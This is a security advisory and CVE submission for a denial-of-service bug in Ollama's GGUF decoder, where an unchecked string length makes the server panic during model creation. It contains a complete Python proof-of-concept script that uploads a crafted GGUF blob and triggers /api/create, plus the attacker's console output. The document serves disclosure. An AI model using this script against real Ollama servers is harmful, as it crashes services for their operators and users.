Severity
Score : 7.5 / 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Summary
A remote unauthenticated Denial-of-Service exists in Ollama’s GGUF decoder.
When a crafted GGUF file is uploaded and used during model creation, the server panics and terminates.
Key signature
- panic:
bytes.Buffer: truncation out of range - stack:
readGGUFV1String → readGGUFString → (*gguf).Decode → server.(*Server).Create…
This affects the REST path /api/blobs (upload) + /api/create (files map) and brings down the process.
Details(root cause)
In fs/ggml/gguf.go, function readGGUFV1String reads a string length from untrusted GGUF metadata and later ends up calling bytes.(*Buffer).Truncate(n) where n is derived from that untrusted length without sufficiently validating bounds (e.g., 0 ≤ n ≤ buf.Len()), maximum size, or integer conversion overflow. As a result, the server panics:
panic: bytes.Buffer: truncation out of range
bytes.(*Buffer).Truncate(…)
github.com/ollama/ollama/fs/ggml.readGGUFV1String (gguf.go:293)
github.com/ollama/ollama/fs/ggml.readGGUFString (gguf.go:335)
github.com/ollama/ollama/fs/ggml.(*gguf).Decode
github.com/ollama/ollama/fs/ggml.(*containerGGUF).Decode
github.com/ollama/ollama/fs/ggml.Decode
github.com/ollama/ollama/server.(*Server).Create…
This is a variant of the “length/offset validation missing” class (previously seen as makeslice: len out of range) but here it is bytes.Buffer.Truncate on the v1 path.
PoC
import os, sys, time, argparse, hashlib, requests, json
from uuid import uuid4
for k in ("HTTP_PROXY","HTTPS_PROXY","http_proxy","https_proxy"):
os.environ.pop(k, None)
def sha256_file(p):
h = hashlib.sha256()
with open(p, "rb") as f:
for ch in iter(lambda: f.read(1<<20), b""):
h.update(ch)
return h.hexdigest()
def wait_ready(base, timeout=10):
t0 = time.time()
while time.time() - t0 < timeout:
try:
r = requests.get(f"{base}/api/version", timeout=2)
if r.ok: return True
except requests.RequestException:
pass
time.sleep(0.5)
return False
def main():
ap = argparse.ArgumentParser(description="Ollama GGUF DoS PoC (/api/blobs + /api/create)")
ap.add_argument("--base", required=True, help="ex) http://127.0.0.1:11434")
ap.add_argument("--poc", required=True, help="path to malicious GGUF (ex. repro_gguf_v1_trunc32.bin)")
ap.add_argument("--name", default=None, help="model name (default: random)")
ap.add_argument("--chat", action="store_true", help="force loading via /api/chat after create")
args = ap.parse_args()
base = args.base.rstrip("/")
model = args.name or f"crash-{uuid4()}"
poc = args.poc
print(f"[*] Base : {base}")
print(f"[*] Model : {model}")
print(f"[*] PoC : {poc}")
print("[*] waiting server /api/version ...")
if not wait_ready(base, timeout=10):
print("[!] server not ready (no /api/version). continue anyway...")
dgst = sha256_file(poc)
print(f"[*] SHA256 : {dgst}")
with open(poc, "rb") as f:
r = requests.post(f"{base}/api/blobs/sha256:{dgst}", data=f, timeout=30)
print(f"[+] upload -> {r.status_code}")
try:
h = requests.head(f"{base}/api/blobs/sha256:{dgst}", timeout=5)
print(f"[+] HEAD blob -> {h.status_code}")
except requests.RequestException as e:
print(f"[!] HEAD failed: {e}")
create_body = {
"model": model,
"files": { "malicious.gguf": f"sha256:{dgst}" },
"stream": False
}
try:
r = requests.post(f"{base}/api/create", json=create_body, timeout=60)
print(f"[+] create -> {r.status_code} {r.text[:200]!r}")
except requests.RequestException as e:
print(f"[!] create exception: {type(e).__name__}: {e}")
if args.chat:
try:
payload = {"model": model, "messages":[{"role":"user","content":"ping?"}], "stream": False}
c = requests.post(f"{base}/api/chat", json=payload, timeout=30)
print(f"[+] chat -> {c.status_code} {c.text[:200]!r}")
except requests.RequestException as e:
print(f"[!] chat exception: {type(e).__name__}: {e}")
try:
ok = requests.get(f"{base}/api/version", timeout=3).ok
except requests.RequestException:
ok = False
if __name__ == "__main__":
main()
Observed: server console prints panic: bytes.Buffer: truncation out of range with stack above and process terminates (subsequent /api/version fails).
Expected: the server should reject invalid GGUF with an error, not panic.
attacker cli:
[ * ] Base : http://127.0.0.1:11534
[ * ] Model : crash-51aef8f7-fde7-4580-b588-bf410d32c4bc
[ * ] PoC : repro_gguf_v1_trunc32.bin
[ * ] waiting server /api/version …
[ * ] SHA256 : 9e7fc09c33c36040c00f9f76760a6d524395ef530d2271eb50681b5ecfe6532d
[ + ] upload -> 201
[ + ] HEAD blob -> 200
Impact
Availability loss: any instance exposing /api/blobs + /api/create to untrusted clients can be brought down.
CVE Info About MITRE e-mail
> [Suggested description]
> An issue in ollama v.0.12.10 allows a remote attacker to cause a denial
> of service via the fs/ggml/gguf.go, function readGGUFV1String reads a
> string length from untrusted GGUF metadata
>
> ------------------------------------------
>
> [Additional Information]
> CVE-2025-0312: NULL deref; This case: Panic during slice creation due to lack of length/integer validation
>
> ------------------------------------------
>
> [Vulnerability Type]
> Integer Overflow
>
> ------------------------------------------
>
> [Vendor of Product]
> https://github.com/ollama/ollama
>
> ------------------------------------------
>
> [Affected Product Code Base]
> github.com/ollama/ollama/fs/ggml/gguf.go - <=v.0.12.10 not fixed yet
>
> ------------------------------------------
>
> [Affected Component]
> github.com/ollama/ollama/fs/ggml/gguf.go, readGGUFV1String,<=v0.12.10
>
> ------------------------------------------
>
> [Attack Type]
> Remote
>
> ------------------------------------------
>
> [Impact Denial of Service]
> true
>
> ------------------------------------------
>
> [Attack Vectors]
> When a crafted GGUF file is uploaded and used during model creation, the server panics and terminates.
> Key signature
>
> panic: bytes.Buffer: truncation out of range
> stack: readGGUFV1String ? readGGUFString ? (*gguf).Decode ? server.(*Server).Create
> This affects the REST path /api/blobs (upload) + /api/create (files map) and brings down the process.
>
> ------------------------------------------
>
> [Reference]
> https://nvd.nist.gov/vuln/detail/CVE-2025-0312
> https://nvd.nist.gov/vuln/detail/CVE-2025-0315
> https://nvd.nist.gov/vuln/detail/CVE-2025-0317
> https://github.com/ollama/ollama/issues/9820?
>
> ------------------------------------------
>
> [Discoverer]
> kimh
>
> Use CVE-2025-66960.